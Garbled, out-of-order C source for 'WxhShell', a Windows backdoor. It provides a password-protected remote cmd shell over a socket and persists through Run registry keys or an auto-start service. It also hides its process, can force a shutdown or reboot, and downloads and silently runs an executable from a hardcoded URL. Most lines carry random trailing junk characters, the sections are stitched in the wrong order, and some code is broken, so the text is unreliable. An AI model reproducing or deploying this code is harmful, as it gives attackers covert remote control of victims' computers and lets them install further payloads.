  // 关机 cwH,l$  
  case 'd': { ,X9hl J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;eS;AHZ  
    if(Boot(SHUTDOWN)) >%iu!H"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S`pF7[%rp  
    else { !6XvvTs/<  
    closesocket(wsh); t Y:G54d=_  
    ExitThread(0); hr J$%U  
    } +L`V[;  
    break; g>6:CG"  
    } HO 266M  
  // 获取shell 89*S? C1  
  case 's': { bh=\  
    CmdShell(wsh); Tjd&^m  
    closesocket(wsh); [=XZza.z  
    ExitThread(0); v;)BVv  
    break; <ldid]o #  
  } t!6\7Vm/  
  // 退出 GAg.p?Sq  
  case 'x': { Bv;I0i:_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |x1$b 7  
    CloseIt(wsh); QDIsC  
    break; xT{TVHdU  
    } '4af ],  
  // 离开 }U2[?  
  case 'q': {  .LX?VD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PRMZfYc  
    closesocket(wsh); /'-:=0a  
    WSACleanup(); ::4"wU3t  
    exit(1);  K&j' c  
    break; +V2C}NQ5R  
        } rDpe_varA  
  } f?2zLE>u  
  } mcvDxjk,h  
PfVEv *  
  // 提示信息 ^OHZ767v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'jh2**i 34  
} zSEr4^Dk4  
  } 8lMZ  
EwTS!gL  
  return; H"2U)HJl  
} G i$  
+ckMT3  
// shell模块句柄 slu$2-H  
int CmdShell(SOCKET sock) r`?&m3IOP  
{ b0y-H/d/}  
STARTUPINFO si; G!AICcP^  
ZeroMemory(&si,sizeof(si));  =Ov9Kf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %0NLRfp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;])I>BT[  
PROCESS_INFORMATION ProcessInfo; dz8-):  
char cmdline[]="cmd"; Bfbl#ZkyL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jIKBgsiF/  
  return 0; cYsR0#  
} !?yxh/>lM  
^%-NPo<  
// 自身启动模式 G=vN;e_$_b  
int StartFromService(void) g<M0|eX@~  
{ eT;AAGql  
typedef struct 1UC2zM"  
{ l#b:^3  
  DWORD ExitStatus; *hV4[=  
  DWORD PebBaseAddress; 7 2`/d`  
  DWORD AffinityMask; ymHKcQ  
  DWORD BasePriority; bAUHUPe  
  ULONG UniqueProcessId; ozVpfs  
  ULONG InheritedFromUniqueProcessId; *^n^nnCwp  
}   PROCESS_BASIC_INFORMATION; :RPVT,O}  
ZmNZS0j  
PROCNTQSIP NtQueryInformationProcess; x<8\-  
;9K[~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >Ja0hS{*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ggMUdlU  
&Y 'z?N  
  HANDLE             hProcess; AlUJ1^o)  
  PROCESS_BASIC_INFORMATION pbi; r i,2clp  
Xe)Pg)J1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r~I.F!{  
  if(NULL == hInst ) return 0; TV? ^c?{5  
n:F@gZd`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VIetcs  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "pYe-_"@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,bxz]S1W  
VcP:}a< B\  
  if (!NtQueryInformationProcess) return 0; 7Ez}k}aR<  
GM:, CJ?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4>l0V<  
  if(!hProcess) return 0; l+oDq'[q"  
bS,etd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  KvGbDG  
|n)<4%i8J  
  CloseHandle(hProcess); <Uf|PFVj$  
Ks|gL#)*Ku  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -P2 @mx%  
if(hProcess==NULL) return 0; {d8^@UL  
NOV.Bs{ yL  
HMODULE hMod; 8:~b &>   
char procName[255]; miPmpu!  
unsigned long cbNeeded; 8`a,D5U:  
S3;lKr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L+Eu d  
9w zwY[{  
  CloseHandle(hProcess); !`Le`c  
CK=ARh#|  
if(strstr(procName,"services")) return 1; // 以服务启动 Vfb<o"BQk  
@?m+Z"o|z  
  return 0; // 注册表启动 o94P I*.  
} D$ej+s7  
Rb?~ Rs\  
// 主模块 2f `&WUe  
int StartWxhshell(LPSTR lpCmdLine) f KHse$?_  
{ m.!wsw  
  SOCKET wsl; kw3 +>{\  
BOOL val=TRUE; r-*l1([eW  
  int port=0; O 3G:0xF  
  struct sockaddr_in door; k2pT1QZnt  
R<>tDwsZGa  
  if(wscfg.ws_autoins) Install(); c+H)ed>  
& wOE\TCL  
port=atoi(lpCmdLine); sLNNcj(Cy>  
QOd!]*W`?m  
if(port<=0) port=wscfg.ws_port; JfSdUWxT  
9+t =|  
  WSADATA data;  C[R`Ml  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b##1hm~+9  
@bE~@4mOu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3Qa?\C&4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8+&gp$a$  
  door.sin_family = AF_INET; 2!BsEvB(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gXF.on4B  
  door.sin_port = htons(port); / xs9.w8-  
7pz\ScSe  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @\!ww/QT  
closesocket(wsl); K0LbZMn,/  
return 1; :4U0I:J#  
} 2?*||c==*  
vsc&Ju%k  
  if(listen(wsl,2) == INVALID_SOCKET) { {-J:4*`  
closesocket(wsl); ,b4g.CV  
return 1; ?@>;/@  
} *CzCUu:%t  
  Wxhshell(wsl); zx7#)*  
  WSACleanup(); x vdY 8%S  
dt<~sOT3s  
return 0; BO]=vH  
v"/TmiZ  
} ZOC#i i`:  
F'rt>YvF  
// 以NT服务方式启动 QTfu:m{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RvR:e|  
{ d[S#Duz<&  
DWORD   status = 0; lf6|.  
  DWORD   specificError = 0xfffffff; XO%~6Us^  
*<UGgnmLE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _Yy:s2I8B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [t$4Tdd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,&[7u9@  
  serviceStatus.dwWin32ExitCode     = 0; VE*j*U j  
  serviceStatus.dwServiceSpecificExitCode = 0; _!%M%  
  serviceStatus.dwCheckPoint       = 0; *Er? C;  
  serviceStatus.dwWaitHint       = 0; (2d3jQN`  
Hxn<(gd G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yZ5 x8 8>  
  if (hServiceStatusHandle==0) return; }f]b't  
LZ4xfB (  
status = GetLastError(); <&6u]uKrW  
  if (status!=NO_ERROR) D,E$_0  
{ y~dB5/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =tnTdp0F  
    serviceStatus.dwCheckPoint       = 0; 9{$8\E9*nd  
    serviceStatus.dwWaitHint       = 0; (uRZxX  
    serviceStatus.dwWin32ExitCode     = status; Fh^ox"3c  
    serviceStatus.dwServiceSpecificExitCode = specificError; nGns}\!7'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GyuV %  
    return; =&N$Vqn  
  } -<PC"B  
Vha'e3 o!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'bC]M3P  
  serviceStatus.dwCheckPoint       = 0; 8<{;=m8cQ  
  serviceStatus.dwWaitHint       = 0; 5a6VMqQ6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *<xrp*O  
} )@_ugW-j  
+2Z#M  
// 处理NT服务事件,比如:启动、停止 YNk|+A.<d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ch7Egz l7?  
{ i%MA"I\9  
switch(fdwControl) "9ue76  
{ @+:4J_N  
case SERVICE_CONTROL_STOP: gvGi %gq  
  serviceStatus.dwWin32ExitCode = 0; %Ci^*zb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d@Q][7  
  serviceStatus.dwCheckPoint   = 0; <XvYa{t]{  
  serviceStatus.dwWaitHint     = 0; 2kVp_=c  
  { xD4$0Ppu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); # ) `\!)?  
  } IkU|W3Vo  
  return; KJdz v!l=  
case SERVICE_CONTROL_PAUSE:  $WR?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Wy.";/C  
  break; Je@kiE  
case SERVICE_CONTROL_CONTINUE: kN.B/itvA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {"jd_b&  
  break; gApz:K[l  
case SERVICE_CONTROL_INTERROGATE: _YLUS$Zw  
  break; !*_K.1'  
}; YmgCl!r@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ami09JHy  
} m!:.>y  
;NP[_2|-,  
// 标准应用程序主函数 :!']p2B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _ eiF@G  
{ Z%e|*GS{  
T .hb#oO  
// 获取操作系统版本 g|4w8ry  
OsIsNt=GetOsVer(); @hsbq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~&KX-AC@  
> H~6NBd5D  
  // 从命令行安装 HCazwX  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8U=A{{0p  
) $#(ZL^m  
  // 下载执行文件 iadkH]w  
if(wscfg.ws_downexe) { :Y^I]`lR"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :XYy7xz<  
  WinExec(wscfg.ws_filenam,SW_HIDE); auL^%M|$R  
} mW +tV1XjG  
W&KM/9d  
if(!OsIsNt) { :Eo8v$W\RB  
// 如果时win9x,隐藏进程并且设置为注册表启动 J=9#mOcg"  
HideProc(); SK-W%t  
StartWxhshell(lpCmdLine); ZF'HM@cfo  
} N5!&~~  
else KoF iQ?  
  if(StartFromService()) + Kk@Q  
  // 以服务方式启动 *Ru2:}?MpS  
  StartServiceCtrlDispatcher(DispatchTable); Gkmsaf>  
else 3\+N`!  
  // 普通方式启动 l;0y-m1  
  StartWxhshell(lpCmdLine); _Ex|f5+  
7xT[<?,  
return 0; Ow)R|/e /  
} R&Ci/  
.[(P  
TVeJ6  
q% E C  
=========================================== u*2JUI*  
]| WA#8_|  
]EN&SWh  
$20s]ywS  
~-<:+9m  
EY$?^iS  
" DY.58IHg1  
l{Er+)a  
#include <stdio.h> u E.^w;~2=  
#include <string.h> _Wma\(3$  
#include <windows.h> +>#e=nH  
#include <winsock2.h> M5O'=\+,F  
#include <winsvc.h> }"4roJ  
#include <urlmon.h> oIxH3T  
x8/us  
#pragma comment (lib, "Ws2_32.lib") h[Mdr  
#pragma comment (lib, "urlmon.lib") ^*>n4U  
>UWStzH<  
#define MAX_USER   100 // 最大客户端连接数 ZAeQ~ j~  
#define BUF_SOCK   200 // sock buffer (}"S) #C  
#define KEY_BUFF   255 // 输入 buffer n1 v,#GE  
?0z)EPQ|  
#define REBOOT     0   // 重启 f[}|rf  
#define SHUTDOWN   1   // 关机 <\ETPL,<  
1Z 6SI>p  
#define DEF_PORT   5000 // 监听端口 Nb1J ~v  
=YHt9fb$c  
#define REG_LEN     16   // 注册表键长度 j ug'g  
#define SVC_LEN     80   // NT服务名长度 j+Zt.KXjT  
#_fY4vEO  
// 从dll定义API ?gG,t4D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MD4\QNUa)*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^@"c`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k>>`fE\K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l&|)O6N  
&k+*3.X  
// wxhshell配置信息 ev"M;"y  
struct WSCFG { r=$gT@  
  int ws_port;         // 监听端口 g@u;Y5  
  char ws_passstr[REG_LEN]; // 口令 O<`,,^4w/  
  int ws_autoins;       // 安装标记, 1=yes 0=no -l JYr/MSL  
  char ws_regname[REG_LEN]; // 注册表键名 xFwXW )  
  char ws_svcname[REG_LEN]; // 服务名 27iy4(4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @h(!<Ux_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c'rd$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kwF]TO S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [>p6   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b0YNac.l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Qi:j)uDW  
~p^7X2% !  
}; Q c3?}os2  
u-39r^`5  
// default Wxhshell configuration 3agNBF2  
struct WSCFG wscfg={DEF_PORT, : I)Gv  
    "xuhuanlingzhe", Bk@WW#b  
    1, {82rne `[  
    "Wxhshell", UE;Bb*<   
    "Wxhshell", w+Vk3c5uI)  
            "WxhShell Service", EzpwGNfz}  
    "Wrsky Windows CmdShell Service", x~Agm_Tu+'  
    "Please Input Your Password: ", 6RP+4c  
  1, n1?}Xq|  
  "http://www.wrsky.com/wxhshell.exe", }P. K2ku  
  "Wxhshell.exe" ph#efY`a:  
    }; u<kD}  
9v$qrM`8  
// 消息定义模块 <soj&f+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gIBpOPr^d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kO+s+ 55  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %YCd%lAe,  
char *msg_ws_ext="\n\rExit."; VF= Z`  
char *msg_ws_end="\n\rQuit."; CO'ar,  
char *msg_ws_boot="\n\rReboot..."; f?0D%pxc}&  
char *msg_ws_poff="\n\rShutdown..."; 1 7i$8  
char *msg_ws_down="\n\rSave to "; /x/4NeD  
((cb4IX  
char *msg_ws_err="\n\rErr!"; 6Hn)pD#U  
char *msg_ws_ok="\n\rOK!"; m#MlH=-  
agW9Go_F[  
char ExeFile[MAX_PATH]; _uJVuCc  
int nUser = 0; >HIt}Zh  
HANDLE handles[MAX_USER]; r`[B@  
int OsIsNt; J | q^+K  
B kV(81"C  
SERVICE_STATUS       serviceStatus; jN{Zw*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H|K("AVP:  
e/@29  
// 函数声明 w%rg\E  
int Install(void); j8c6[ih  
int Uninstall(void); \gd6Yx^[  
int DownloadFile(char *sURL, SOCKET wsh); 3&9zGy{V+  
int Boot(int flag); RpAiU  
void HideProc(void); `VXZ khm  
int GetOsVer(void); */Cj$KY70  
int Wxhshell(SOCKET wsl); 7t3X`db  
void TalkWithClient(void *cs); ^r4|{  
int CmdShell(SOCKET sock); _k|g@"  
int StartFromService(void); 0 {,h.:  
int StartWxhshell(LPSTR lpCmdLine); V&R$8tpz  
.HCaXFW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R=Ymo.zs6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5v3RVaqZ  
/6jGt'^U  
// 数据结构和表定义 <N-=fad]  
SERVICE_TABLE_ENTRY DispatchTable[] = 9fMSAB+c%  
{ .<dOED{v  
{wscfg.ws_svcname, NTServiceMain}, /sV?JV[t  
{NULL, NULL} @`Wt4<  
}; -nG wuEngP  
itHM7d  
// 自我安装 oR#my ^  
int Install(void) 6J"(xT  
{ qPUA!-'  
  char svExeFile[MAX_PATH]; yXrd2?Rq@  
  HKEY key; f,JX"  
  strcpy(svExeFile,ExeFile); P>fKX2eQ-  
Wz5=(<{S  
// 如果是win9x系统,修改注册表设为自启动 -_HRqw,Z0  
if(!OsIsNt) { j9>TTgy@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,m3":{G:t.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mZE8.`  
  RegCloseKey(key); w#<p^CS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { egWx9xX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o"\{OX  
  RegCloseKey(key); p>&S7M/9  
  return 0; i3d y  
    } LGfmUb-{]  
  } jJ c07r']  
} >+SZd7p  
else { >"b[r  
8(^ ,r#Gy  
// 如果是NT以上系统,安装为系统服务 kJ__:rS(T_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hm6pxFkX_  
if (schSCManager!=0) 'mUI-1GkT  
{ jNIUsM 8e  
  SC_HANDLE schService = CreateService j6}$+!E  
  ( ~M; gM]r;  
  schSCManager, D$mf5G &  
  wscfg.ws_svcname, DUhT>,~]  
  wscfg.ws_svcdisp, &\c5!xQ9*  
  SERVICE_ALL_ACCESS, >HX)MwAP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3AvcJ1  
  SERVICE_AUTO_START, fRFYJFc n  
  SERVICE_ERROR_NORMAL,  VmYBa(  
  svExeFile, x*J|i4  
  NULL, Y6a$gXRT  
  NULL, ,$ mLL  
  NULL, I^@.Aw t  
  NULL, HGb.656r  
  NULL V>r j$Nc]  
  ); 5)8 .  
  if (schService!=0) LC76Qi;|k  
  { ho_4fDv  
  CloseServiceHandle(schService); smbUu/  
  CloseServiceHandle(schSCManager); aTX]+tBoe  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t%:G|n Sz  
  strcat(svExeFile,wscfg.ws_svcname); #.b^E3#+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { > R#9\/s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Stt* 1gT  
  RegCloseKey(key); MorW\7-}  
  return 0; }`#B f  
    } t +J)dr  
  } zG<0CZQ8  
  CloseServiceHandle(schSCManager); I0(8Z]x  
} a 1NCVZ  
} C?S~L5a#oC  
^ISQ{M#_  
return 1; _Po#ZGm~  
} !bieo'c  
Q+lbN  
// 自我卸载 ;NBT 4  
int Uninstall(void) 7fUi?41XA  
{ I IYLA(  
  HKEY key; \1~I04'=  
)#Y|ngZ_>  
if(!OsIsNt) { o3fR3P%$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gn364U a  
  RegDeleteValue(key,wscfg.ws_regname); @ E >eq.m  
  RegCloseKey(key); 0T=jR{j!o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uV!MW=)  
  RegDeleteValue(key,wscfg.ws_regname); C_C$5[~-:  
  RegCloseKey(key); 9X.gg$P  
  return 0; C5cFw/',  
  } ')rD?Z9 ^  
} VGfD;8]z  
} e`vUK.UoW  
else { {;\%!I  
(5>{?dR)|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3JTU^-S<  
if (schSCManager!=0) 9W$m D w6f  
{ E $<;@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w9'H.L q  
  if (schService!=0) {Qm6?H  
  { g:;Ya?5N  
  if(DeleteService(schService)!=0) { [l`^fnKt  
  CloseServiceHandle(schService); $,g 3*A  
  CloseServiceHandle(schSCManager); +A&EKk%$ |  
  return 0; P&h/IBA_  
  } MwN1]d|6  
  CloseServiceHandle(schService); HK^a:BI  
  } <nf=SRZ  
  CloseServiceHandle(schSCManager); 9DmSs=A  
} E*h0#m|)  
} bU:V%B?=]  
xcsFODx~  
return 1; OCvml 2 vP  
} %+D-y+hn  
9t.fij  
// 从指定url下载文件 :jl u  
int DownloadFile(char *sURL, SOCKET wsh) "^18&>^  
{ 5f/@: ~  
  HRESULT hr; 2lX[hFa5  
char seps[]= "/"; vI4%d,  
char *token; 'M47'{7T  
char *file; sb8z_3   
char myURL[MAX_PATH]; {_": / A  
char myFILE[MAX_PATH]; P*}9,VoY  
u=1B^V,6V  
strcpy(myURL,sURL); h 3eGq:!9  
  token=strtok(myURL,seps); Xqc'R5C w  
  while(token!=NULL) X S6]C{  
  { aB/{ %%o  
    file=token; WNCM|VUl  
  token=strtok(NULL,seps); ;GiI'M  
  } jq7vOr-_g  
(N&k}CO]W  
GetCurrentDirectory(MAX_PATH,myFILE); ^)(G(=-Rf  
strcat(myFILE, "\\"); u Eu6f  
strcat(myFILE, file); n$nne6|O  
  send(wsh,myFILE,strlen(myFILE),0); cC7"J\+r*  
send(wsh,"...",3,0); #rqyy0k0'h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S(@*3]!q  
  if(hr==S_OK) _G_ &Me0  
return 0; g%@]z8L  
else fQ2!sV  
return 1; 8L%%eM_O  
41P4?"O  
} p_D on3  
Y8x(#qp,  
// 系统电源模块 hWl""66+5  
int Boot(int flag) $71i+h]_  
{ zpBBnlq  
  HANDLE hToken; !"Z."fm*  
  TOKEN_PRIVILEGES tkp; 2&zn^\%"  
& y#y>([~  
  if(OsIsNt) { 9_g>BI;"8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -wPuml!hZ|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S7@ZtFf  
    tkp.PrivilegeCount = 1; GGFar\ EzW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !7kAJG g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :Vu7,o  
if(flag==REBOOT) { R^mu%dw)(%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b(+w.R(+Ti  
  return 0; ,%"\\#3S  
} 2@"0} po#  
else { BH.:_Qrbh[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I,?Fqg'sq  
  return 0; 9n06n$F  
} l}U~I 3}).  
  } [)C)p*!Y)  
  else { c,b`N0dOKL  
if(flag==REBOOT) { LAu+{'O\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0KWy?6 X  
  return 0; ~v{C6)  
} ?qq!%4mTB  
else { mcAH1k e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [Gh%nsH  
  return 0; ~;!i)[-  
} ="'rH.n #  
} $9j>VGf=  
QZ:]8MHl]  
return 1; < -@,  
} nr<}Hc^f-  
u&l>cJ'  
// win9x进程隐藏模块 PVQ#>_~5  
void HideProc(void) |j.KFu845  
{ / h 2*$  
2@=cqD7x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <;TP@-a  
  if ( hKernel != NULL ) ;XKo44%  
  { @w.b |  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;T"m [D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Vsm%h^]d  
    FreeLibrary(hKernel); B5?c'[V9  
  } 'Wx\"]:  
E980yXJR  
return; 9;xL!cy  
} &y+PSa%n  
HNkZ1+P {  
// 获取操作系统版本 &K}(A{  
int GetOsVer(void) e&FX7dsyy  
{ vV&AG1_Mv  
  OSVERSIONINFO winfo; &t9XK8S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n+RUPZ  
  GetVersionEx(&winfo); 5{!a+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #qiGOpTF.  
  return 1; lO5gkOJ?  
  else % 0y3/W  
  return 0; |GVGny<  
} 5@r_<J<>  
TGt1d  
// 客户端句柄模块 i\DHIzGp[  
int Wxhshell(SOCKET wsl) ]y)R C-N  
{ ]<o.aMdV  
  SOCKET wsh; (x@i,Ba@  
  struct sockaddr_in client; ^V0{Ew /x  
  DWORD myID; c5mhl;+'  
M~g~LhsF  
  while(nUser<MAX_USER) dWq/)%@t  
{ q!9v}R3(  
  int nSize=sizeof(client); v|,[5IY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "k_n+cH%  
  if(wsh==INVALID_SOCKET) return 1; 1>*UbV<R;u  
0[$Mo3c+'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rz%[o,s  
if(handles[nUser]==0) A aF5`  
  closesocket(wsh); !Sy'Z6%f  
else YCLD!S/?  
  nUser++; Z%HEn$t  
  } lJz?QI1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YVg}q#  
Dry;$C}P  
  return 0; i1_>>49*  
} -<}>YtB Q  
G+QNg .pH  
// 关闭 socket CrwcYzrRWl  
void CloseIt(SOCKET wsh) MTFVnoZMQ_  
{ ~XT a=  
closesocket(wsh); p *W ZY=Q  
nUser--; @qr3v>3X<  
ExitThread(0); ]9yA0,z/  
} lo]B 5_en  
~"<VUJ=Ly:  
// 客户端请求句柄 [:hy  
void TalkWithClient(void *cs) L_zmU_zD  
{ [Yahxw}  
j5VRv$P  
  SOCKET wsh=(SOCKET)cs; lWyP[>*  
  char pwd[SVC_LEN]; ^6NABXL  
  char cmd[KEY_BUFF]; w]5f3CIm  
char chr[1]; MF`k~)bDV  
int i,j; >. nt'BQ  
"<n"A7e  
  while (nUser < MAX_USER) { R82Zr@_  
*O}'2Ht6\  
if(wscfg.ws_passstr) { M]/wei"X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V]S06>P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ??e#E[bI  
  //ZeroMemory(pwd,KEY_BUFF); OTtanJ?  
      i=0; YI\Cs=T/  
  while(i<SVC_LEN) { c7TWAG_+  
5P t}  
  // 设置超时 [, szx1  
  fd_set FdRead; :7PSZc:xE  
  struct timeval TimeOut; XL&eJ  
  FD_ZERO(&FdRead); ka9v2tE\  
  FD_SET(wsh,&FdRead); 'N5r2JL[w  
  TimeOut.tv_sec=8; t=pkYq5t8  
  TimeOut.tv_usec=0; '/qe#S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d(B;vL@R2V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \z2hXT@D  
u b>K^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \g6 # MNW  
  pwd=chr[0]; o)' =D(  
  if(chr[0]==0xd || chr[0]==0xa) { Vx4pP$S  
  pwd=0; ALt";8Oa  
  break; ~\s &]L  
  } A)p! w aG  
  i++; aFc'_FrQ  
    } Y(!)G!CMc  
6;c{~$s~[  
  // 如果是非法用户,关闭 socket YU\t+/b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +7vh__  
} zB7dCw  
={D B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ko1?jPE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =<W[dV=W  
hB<z]sl  
while(1) { C00*X[p  
kC#B7*[RM  
  ZeroMemory(cmd,KEY_BUFF); SD.*G'N&2f  
%fSk "%u%<  
      // 自动支持客户端 telnet标准   9NoPrR=x1  
  j=0; eMd1%/[  
  while(j<KEY_BUFF) { 2iINQK$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b({b5z.A  
  cmd[j]=chr[0]; JI; i1@| b  
  if(chr[0]==0xa || chr[0]==0xd) { 6!=9V0G~  
  cmd[j]=0; qmeEUch`  
  break; 21k-ob1Y  
  } (8X8<>w~  
  j++; ;8x^9Q  
    } x=r6vOj  
`2U/O .rV  
  // 下载文件 ~#x!N=q  
  if(strstr(cmd,"http://")) { ^?VT y5yp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qhGhUyNX  
  if(DownloadFile(cmd,wsh)) bL#TR;*]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'eXw`kw(  
  else SmEd'YD!J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !g:G{b  
  } *)SgdC/f  
